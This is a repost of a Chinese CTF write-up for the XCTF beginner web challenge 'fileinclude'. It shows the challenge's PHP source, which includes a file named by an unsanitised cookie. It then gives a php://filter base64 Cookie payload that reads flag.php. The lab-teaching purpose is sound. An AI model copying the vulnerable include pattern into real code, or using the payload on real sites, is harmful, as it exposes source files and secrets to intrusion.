当前位置:   article > 正文

攻防世界web新手- fileinclude宜州网信办_fileincludegfsj1007积分 1金币 1

fileincludegfsj1007积分 1金币 1

XCTF - fileinclude宜州网信办

题目编号GFSJ1007

知识点

本题知识点在于cookie的使用,知道cookie的位置和原理就很简单了。

源码分析

本题设置了一个小障碍,没在网页中显示源代码,右键查看网页源代码,发现源码。

对源码进行分析如下

<?php
//和题目没关系,大概是个报错相关
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
//变量lan为cookie中的language的value
$lan = $_COOKIE['language'];
if(!$lan)
{
//如果未获取到lan变量,设置$_COOKIE['language']为english
	@setcookie("language","english");
	@include("english.php");
}
else
{
//包含$lan.".php"
	@include($lan.".php");
}
//获取index.php的内容
$x=file_get_contents('index.php');
//网页显示
echo $x;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

解题思路

通过对源码的分析,题目就很简单了,构造cookie,读取flag.php的内容,输出到屏幕上。
Burp抓包,直接构造cookie如下:

值得注意的一点是源码中@include($lan.".php");本身已经添加了php后缀,所以在payload中无需再添加.php。
payload如下

Cookie: language=php://filter/convert.base64-encode/resource=flag; 
  • 1

获取base64的密文后,直接base64解码获得flag。
文件包含相关请参考这篇文章文件包含漏洞总结都在这里了

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/335162
推荐阅读
相关标签
  

闽ICP备14008679号